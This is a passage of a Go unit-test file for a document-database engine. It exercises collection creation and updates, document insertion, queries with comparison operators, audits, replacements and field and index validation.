protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"number"}}, {Fields: []string{"name"}}, {Fields: []string{"pin"}}, {Fields: []string{"country"}}, {Fields: []string{"address.street"}}, }, ) require.ErrorIs(t, err, ErrFieldDoesNotExist) }) t.Run("collection creation should fail with invalid index", func(t *testing.T) { err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, }, []*protomodel.Index{ {Fields: []string{}}, }, ) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("collection creation should fail with invalid index", func(t *testing.T) { err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{}, []*protomodel.Index{ {Fields: []string{"_id"}}, }, ) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("collection creation should fail with invalid index", func(t *testing.T) { err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{}, []*protomodel.Index{ {Fields: []string{"_id", "collection"}}, }, ) require.ErrorIs(t, err, ErrReservedName) }) err := engine.CreateCollection( context.Background(), "admin", collectionName, "doc-id", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country-code", Type: protomodel.FieldType_STRING}, {Name: "address.street", Type: protomodel.FieldType_STRING}, {Name: "active", Type: protomodel.FieldType_BOOLEAN}, }, []*protomodel.Index{ {Fields: []string{"doc-id"}, IsUnique: true}, {Fields: []string{"number"}}, {Fields: []string{"name"}}, {Fields: []string{"pin"}}, {Fields: []string{"country-code"}}, {Fields: []string{"address.street"}}, {Fields: []string{"active"}}, }, ) require.NoError(t, err) // creating collection with the same name should throw error err = engine.CreateCollection( context.Background(), "admin", collectionName, "", nil, nil, ) require.ErrorIs(t, err, ErrCollectionAlreadyExists) _, err = engine.GetCollection(context.Background(), "unexistentCollection") require.ErrorIs(t, err, ErrCollectionDoesNotExist) collection, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) require.Equal(t, collectionName, collection.Name) require.Len(t, collection.Fields, 7) require.Len(t, collection.Indexes, 7) } func TestListCollections(t *testing.T) { engine := makeEngine(t) collections := []string{"mycollection1", "mycollection2", "mycollection3"} for _, collectionName := range collections { err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_INTEGER}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "address.street", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"number"}}, {Fields: []string{"name"}}, {Fields: []string{"pin"}}, {Fields: []string{"country"}}, {Fields: []string{"address.street"}}, }, ) require.NoError(t, err) } collectionList, err := engine.GetCollections(context.Background()) require.NoError(t, err) require.Equal(t, len(collections), len(collectionList)) } func TestGetDocument(t *testing.T) { ctx := context.Background() engine := makeEngine(t) collectionName := "mycollection" err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "pincode", Type: protomodel.FieldType_INTEGER}, {Name: "address.street", Type: protomodel.FieldType_STRING}, {Name: "active", Type: protomodel.FieldType_BOOLEAN}, }, []*protomodel.Index{ {Fields: []string{"country"}}, {Fields: []string{"pincode"}}, {Fields: []string{"address.street"}}, {Fields: []string{"active"}}, }, ) require.NoError(t, err) _, _, err = engine.InsertDocument(context.Background(), "admin", "unexistentCollectionName", &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue("wonderland"), "pincode": structpb.NewNumberValue(2), "address": structpb.NewStructValue(&structpb.Struct{ Fields: map[string]*structpb.Value{ "street": structpb.NewStringValue("mainstreet"), "number": structpb.NewNumberValue(124), }, }), }, }) require.ErrorIs(t, err, ErrCollectionDoesNotExist) _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ DefaultDocumentIDField: structpb.NewStringValue("_docid"), "country": structpb.NewStringValue("wonderland"), "pincode": structpb.NewNumberValue(2), }, }) require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue("wonderland"), "pincode": structpb.NewNumberValue(2), DocumentBLOBField: structpb.NewStructValue(&structpb.Struct{}), }, }) require.ErrorIs(t, err, ErrReservedName) _, docID, err := engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue("wonderland"), "pincode": structpb.NewNumberValue(2), "address": structpb.NewStructValue(&structpb.Struct{ Fields: map[string]*structpb.Value{ "street": structpb.NewStringValue("mainstreet"), "number": structpb.NewNumberValue(124), }, }), }, }) require.NoError(t, err) query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "country", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewStringValue("wonderland"), }, { Field: "pincode", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewNumberValue(2), }, { Field: "address.street", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewStringValue("mainstreet"), }, }, }, }, } _, err = engine.GetDocuments(ctx, nil, 0) require.ErrorIs(t, err, ErrIllegalArguments) reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() doc, err := reader.Read(ctx) require.NoError(t, err) require.EqualValues(t, docID.EncodeToHexString(), doc.Document.Fields[DefaultDocumentIDField].GetStringValue()) _, err = reader.Read(ctx) require.ErrorIs(t, err, ErrNoMoreDocuments) _, err = engine.CountDocuments(ctx, nil, 0) require.ErrorIs(t, err, ErrIllegalArguments) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) require.EqualValues(t, 1, count) } func TestDocumentAudit(t *testing.T) { engine := makeEngine(t) collectionName := "mycollection" err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "pincode", Type: protomodel.FieldType_INTEGER}, {Name: "address.street", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"country"}}, {Fields: []string{"pincode"}}, {Fields: []string{"address.street"}}, }, ) require.NoError(t, err) // add document to collection txID, docID, err := engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue("wonderland"), "pincode": structpb.NewNumberValue(2), "address": structpb.NewStructValue(&structpb.Struct{ Fields: map[string]*structpb.Value{ "street": structpb.NewStringValue("mainstreet"), }, }), }, }) require.NoError(t, err) query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "country", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewStringValue("wonderland"), }, { Field: "address.street", Operator: protomodel.ComparisonOperator_LIKE, Value: structpb.NewStringValue("mainstreet"), }, }, }, }, } revisions, err := engine.ReplaceDocuments(context.Background(), "admin", query, &structpb.Struct{ Fields: map[string]*structpb.Value{ "_id": structpb.NewStringValue(docID.EncodeToHexString()), "pincode": structpb.NewNumberValue(2), "country": structpb.NewStringValue("wonderland"), "address": structpb.NewStructValue(&structpb.Struct{ Fields: map[string]*structpb.Value{ "street": structpb.NewStringValue("notmainstreet"), }, }), }, }) require.NoError(t, err) require.Len(t, revisions, 1) require.Equal(t, uint64(2), revisions[0].Revision) err = engine.sqlEngine.GetStore().WaitForIndexingUpto(context.Background(), revisions[0].TransactionId) require.NoError(t, err) t.Run("get encoded document should pass with valid docID", func(t *testing.T) { _, field, doc, err := engine.GetEncodedDocument(context.Background(), collectionName, docID, 0) require.NoError(t, err) require.Equal(t, DefaultDocumentIDField, field) require.Equal(t, txID+1, doc.TxID) require.Equal(t, uint64(2), doc.Revision) }) // get document audit res, err := engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10, true) require.NoError(t, err) require.Len(t, res, 2) for i, docAudit := range res { require.Contains(t, docAudit.Document.Fields, DefaultDocumentIDField) require.Contains(t, docAudit.Document.Fields, "pincode") require.Contains(t, docAudit.Document.Fields, "country") require.Contains(t, docAudit.Document.Fields, "address") require.NotNil(t, docAudit.Document.Fields["address"].GetStructValue()) require.Contains(t, docAudit.Document.Fields["address"].GetStructValue().Fields, "street") require.Equal(t, uint64(i+1), docAudit.Revision) } err = engine.DeleteDocuments(context.Background(), "admin", &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ {Field: "_id", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewStringValue(docID.EncodeToHexString())}, }}, }, Limit: 1, }) require.NoError(t, err) t.Run("get encoded document should return error with deleted docID", func(t *testing.T) { docReader, err := engine.GetDocuments(context.Background(), &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: DefaultDocumentIDField, Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewStringValue(docID.EncodeToHexString()), }, }, }, }, }, 0) require.NoError(t, err) defer docReader.Close() _, err = docReader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreDocuments) }) res, err = engine.AuditDocument(context.Background(), collectionName, docID, false, 0, 10, true) require.NoError(t, err) require.Len(t, res, 3) } func TestQueryDocuments(t *testing.T) { ctx := context.Background() engine := makeEngine(t) collectionName := "mycollection" err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "pincode", Type: protomodel.FieldType_INTEGER}, {Name: "address.street", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"country"}}, {Fields: []string{"pincode"}}, {Fields: []string{"address.street"}}, }, ) require.NoError(t, err) // add documents to collection for i := 1.0; i <= 11; i++ { _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "pincode": func() *structpb.Value { if i == 11 { return structpb.NewNullValue() } return structpb.NewNumberValue(i) }(), "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), "address": structpb.NewStructValue(&structpb.Struct{ Fields: map[string]*structpb.Value{ "street": structpb.NewStringValue(fmt.Sprintf("mainstreet-%d", int(i))), }, }), }, }) require.NoError(t, err) } t.Run("test query with != operator", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_NE, Value: structpb.NewNumberValue(2), }, { Field: "country", Operator: protomodel.ComparisonOperator_NOT_LIKE, Value: structpb.NewStringValue("some_country"), }, }, }, }, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() _, err = reader.ReadN(ctx, 0) require.ErrorIs(t, err, ErrIllegalArguments) docs, err := reader.ReadN(ctx, 11) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 10) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) require.EqualValues(t, 10, count) }) t.Run("test query nested with != operator", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "address.street", Operator: protomodel.ComparisonOperator_NE, Value: structpb.NewStringValue("mainstreet-3"), }, }, }, }, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() docs, err := reader.ReadN(ctx, 11) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 10) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) require.EqualValues(t, 10, count) }) t.Run("test query with < operator", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_LT, Value: structpb.NewNumberValue(10), }, }, }, }, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() docs, err := reader.ReadN(ctx, 11) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 10) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) require.EqualValues(t, 10, count) }) t.Run("test query with <= operator", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_LE, Value: structpb.NewNumberValue(9), }, }, }, }, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() docs, err := reader.ReadN(ctx, 11) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 10) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) require.EqualValues(t, 10, count) }) t.Run("test query with > operator", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_GT, Value: structpb.NewNumberValue(5), }, }, }, }, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 5) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) require.EqualValues(t, 5, count) }) t.Run("test query with >= operator", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_GE, Value: structpb.NewNumberValue(10), }, }, }, }, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 1) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) require.EqualValues(t, 1, count) }) t.Run("test group query with != operator", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "country", Operator: protomodel.ComparisonOperator_NE, Value: structpb.NewStringValue("country-1"), }, { Field: "pincode", Operator: protomodel.ComparisonOperator_NE, Value: structpb.NewNumberValue(5), }, }, }, }, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 9) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) require.EqualValues(t, 9, count) }) t.Run("test group query with < operator", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_LT, Value: structpb.NewNumberValue(5), }, }, }, }, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 5) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) require.EqualValues(t, 5, count) }) t.Run("query should fail with invalid field name", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "1invalidFieldName", Operator: protomodel.ComparisonOperator_LT, Value: structpb.NewNumberValue(5), }, }, }, }, } _, err := engine.GetDocuments(ctx, query, 0) require.ErrorIs(t, err, store.ErrIllegalArguments) }) t.Run("query should fail with unexistent field", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode1", Operator: protomodel.ComparisonOperator_LT, Value: structpb.NewNumberValue(5), }, }, }, }, } _, err := engine.GetDocuments(ctx, query, 0) require.ErrorIs(t, err, ErrFieldDoesNotExist) }) t.Run("test group query with > operator", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "country", Operator: protomodel.ComparisonOperator_GT, Value: structpb.NewStringValue("country-1"), }, { Field: "pincode", Operator: protomodel.ComparisonOperator_GT, Value: structpb.NewNumberValue(5), }, }, }, }, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 5) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) require.EqualValues(t, 5, count) }) t.Run("test group query with IS NULL operator", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewNullValue(), }, }, }, }, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() docs, err := reader.ReadN(ctx, 11) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 1) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) require.EqualValues(t, 1, count) }) t.Run("test group query with IS NOT NULL operator", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_NE, Value: structpb.NewNullValue(), }, }, }, }, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() docs, err := reader.ReadN(ctx, 11) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 10) count, err := engine.CountDocuments(ctx, query, 0) require.NoError(t, err) require.EqualValues(t, 10, count) }) } func TestDocumentUpdate(t *testing.T) { // Create a new engine instance ctx := context.Background() engine := makeEngine(t) // Create a test collection with a single document collectionName := "test_collection" err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "age", Type: protomodel.FieldType_DOUBLE}, }, []*protomodel.Index{ {Fields: []string{"name"}}, {Fields: []string{"age"}}, }, ) require.NoError(t, err) txID, docID, err := engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "name": structpb.NewStringValue("Alice"), "age": structpb.NewNumberValue(30), }, }) require.NoError(t, err) t.Run("update document should pass without docID", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "name", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewStringValue("Alice"), }, { Field: "age", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewNumberValue(30), }, }, }, }, } revisions, err := engine.ReplaceDocuments(ctx, "admin", query, &structpb.Struct{ Fields: map[string]*structpb.Value{ "name": structpb.NewStringValue("Alice"), "age": structpb.NewNumberValue(31), }, }) require.NoError(t, err) // Check that the method returned the expected values require.Len(t, revisions, 1) require.Equal(t, txID+1, revisions[0].TransactionId) require.Equal(t, docID.EncodeToHexString(), revisions[0].DocumentId) require.EqualValues(t, 2, revisions[0].Revision) // Verify that the document was updated query = &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "name", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewStringValue("Alice"), }, { Field: "age", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewNumberValue(31), }, }, }, }, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() updatedDoc, err := reader.Read(ctx) require.NoError(t, err) require.EqualValues(t, 31, updatedDoc.Document.Fields["age"].GetNumberValue()) require.Equal(t, docID.EncodeToHexString(), updatedDoc.Document.Fields[DefaultDocumentIDField].GetStringValue()) }) t.Run("update document should fail when no document is found", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "name", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewStringValue("Bob"), }, }, }, }, } toUpdateDoc := &structpb.Struct{ Fields: map[string]*structpb.Value{ "name": structpb.NewStringValue("Alice"), "age": structpb.NewNumberValue(32), }, } // Test error case when no documents are found revisions, err := engine.ReplaceDocuments(ctx, "admin", query, toUpdateDoc) require.NoError(t, err) require.Empty(t, revisions) }) t.Run("update document should fail with a different docID", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "name", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewStringValue("Alice"), }, }, }, }, } toUpdateDoc := &structpb.Struct{ Fields: map[string]*structpb.Value{ DefaultDocumentIDField: structpb.NewStringValue("1234"), "name": structpb.NewStringValue("Alice"), "age": structpb.NewNumberValue(31), }, } revisions, err := engine.ReplaceDocuments(ctx, "admin", query, toUpdateDoc) require.NoError(t, err) require.Empty(t, revisions) }) t.Run("replace document with invalid arguments should fail", func(t *testing.T) { _, err := engine.ReplaceDocuments(ctx, "admin", nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("replace document with invalid collection name should fail", func(t *testing.T) { query := &protomodel.Query{ CollectionName: "1invalidCollectionName", Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "name", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewStringValue("Alice"), }, }, }, }, } toUpdateDoc := &structpb.Struct{ Fields: map[string]*structpb.Value{ DefaultDocumentIDField: structpb.NewStringValue("1234"), "name": structpb.NewStringValue("Alice"), "age": structpb.NewNumberValue(31), }, } _, err := engine.ReplaceDocuments(ctx, "admin", query, toUpdateDoc) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("replace document with empty document should succeed", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "age", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewNumberValue(31), }, }, }, }, } revisions, err := engine.ReplaceDocuments(ctx, "admin", query, nil) require.NoError(t, err) require.Len(t, revisions, 1) }) t.Run("replace document with query without expressions should succeed", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{}, } toUpdateDoc := &structpb.Struct{ Fields: map[string]*structpb.Value{ DefaultDocumentIDField: structpb.NewStringValue(docID.EncodeToHexString()), "name": structpb.NewStringValue("Alice"), "age": structpb.NewNumberValue(32), }, } revisions, err := engine.ReplaceDocuments(ctx, "admin", query, toUpdateDoc) require.NoError(t, err) require.Len(t, revisions, 1) }) } func TestFloatSupport(t *testing.T) { ctx := context.Background() engine := makeEngine(t) collectionName := "mycollection" err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, }, []*protomodel.Index{ {Fields: []string{"number"}}, }, ) require.NoError(t, err) // add document to collection _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "number": structpb.NewNumberValue(3.1), }, }) require.NoError(t, err) // query document query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "number", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewNumberValue(3.1), }, }, }, }, } // check if document is updated reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() doc, err := reader.Read(ctx) require.NoError(t, err) require.Equal(t, 3.1, doc.Document.Fields["number"].GetNumberValue()) } func TestDeleteCollection(t *testing.T) { engine := makeEngine(t) // create collection collectionName := "mycollection" err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_INTEGER}, }, []*protomodel.Index{ {Fields: []string{"number"}}, }, ) require.NoError(t, err) // add documents to collection for i := 1.0; i <= 10; i++ { _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "number": structpb.NewNumberValue(i), }, }) require.NoError(t, err) } t.Run("delete collection and check if it is empty", func(t *testing.T) { err = engine.DeleteCollection(context.Background(), "admin", collectionName) require.NoError(t, err) collectionList, err := engine.GetCollections(context.Background()) require.NoError(t, err) require.Empty(t, collectionList) }) } func TestUpdateCollection(t *testing.T) { engine := makeEngine(t) collectionName := "mycollection" t.Run("create collection and add index", func(t *testing.T) { err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, }, []*protomodel.Index{ {Fields: []string{"number"}}, {Fields: []string{"name"}}, {Fields: []string{"country"}}, {Fields: []string{"pin"}}, }, ) require.NoError(t, err) }) t.Run("update collection should fail with invalid collection name", func(t *testing.T) { // update collection err := engine.UpdateCollection( context.Background(), "admin", "1invalidCollectionName", "", ) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("update collection should fail with unexistent collection name", func(t *testing.T) { // update collection err := engine.UpdateCollection( context.Background(), "admin", "unexistentCollectionName", "", ) require.ErrorIs(t, err, ErrCollectionDoesNotExist) }) t.Run("update collection should fail with invalid id field name", func(t *testing.T) { // update collection err := engine.UpdateCollection( context.Background(), "admin", collectionName, "document", ) require.ErrorIs(t, err, ErrReservedName) }) t.Run("update collection by deleting indexes", func(t *testing.T) { // update collection err := engine.UpdateCollection( context.Background(), "admin", collectionName, "", ) require.NoError(t, err) // get collection collection, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) require.Equal(t, DefaultDocumentIDField, collection.DocumentIdFieldName) require.Len(t, collection.Indexes, 5) }) t.Run("update collection by adding changing documentIdFieldName", func(t *testing.T) { // update collection err := engine.UpdateCollection( context.Background(), "admin", collectionName, "_docid", ) require.NoError(t, err) // get collection collection, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) require.Equal(t, "_docid", collection.DocumentIdFieldName) require.Len(t, collection.Indexes, 5) }) t.Run("update collection with invalid id field name", func(t *testing.T) { err := engine.UpdateCollection( context.Background(), "admin", collectionName, "document", ) require.ErrorIs(t, err, ErrReservedName) }) } func TestCollectionUpdateWithDeletedIndex(t *testing.T) { engine := makeEngine(t) collectionName := "mycollection" t.Run("create collection and add index", func(t *testing.T) { err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, {Name: "title", Type: protomodel.FieldType_STRING}, {Name: "comment", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"number"}}, }, ) require.NoError(t, err) }) t.Run("create index with invalid collection name should fail", func(t *testing.T) { // update collection err := engine.CreateIndex( context.Background(), "admin", "1invalidCollectionName", []string{}, false, ) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("create index with no fields should fail", func(t *testing.T) { // update collection err := engine.CreateIndex( context.Background(), "admin", collectionName, []string{}, false, ) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("create index with invalid field name should fail", func(t *testing.T) { // update collection err := engine.CreateIndex( context.Background(), "admin", collectionName, []string{"1invalidFieldName"}, false, ) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("create index with unexistent field name should fail", func(t *testing.T) { // update collection err := engine.CreateIndex( context.Background(), "admin", collectionName, []string{"unexistentFieldName"}, false, ) require.ErrorIs(t, err, ErrFieldDoesNotExist) err = engine.RemoveField( context.Background(), "admin", "1invalidCollectionName", "comment", ) require.ErrorIs(t, err, ErrIllegalArguments) err = engine.RemoveField( context.Background(), "admin", collectionName, "1invalidFieldName", ) require.ErrorIs(t, err, ErrIllegalArguments) err = engine.RemoveField( context.Background(), "admin", collectionName, "unexistentFieldName", ) require.ErrorIs(t, err, ErrFieldDoesNotExist) }) t.Run("adding invalid field should fail", func(t *testing.T) { err := engine.AddField( context.Background(), "admin", "1invalidCollectionName", &protomodel.Field{ Name: "newFieldName", Type: protomodel.FieldType_INTEGER, }, ) require.ErrorIs(t, err, ErrIllegalArguments) err = engine.AddField( context.Background(), "admin", collectionName, &protomodel.Field{ Name: "1invalidFieldName", Type: protomodel.FieldType_INTEGER, }, ) require.ErrorIs(t, err, ErrIllegalArguments) err = engine.AddField( context.Background(), "admin", collectionName, &protomodel.Field{ Name: "newFieldName", Type: protomodel.FieldType(math.MaxInt16), }, ) require.ErrorIs(t, err, ErrUnsupportedType) }) t.Run("removing invalid field should fail", func(t *testing.T) { err := engine.AddField( context.Background(), "admin", "1invalidCollectionName", &protomodel.Field{ Name: "newFieldName", Type: protomodel.FieldType_INTEGER, }, ) require.ErrorIs(t, err, ErrIllegalArguments) err = engine.AddField( context.Background(), "admin", collectionName, 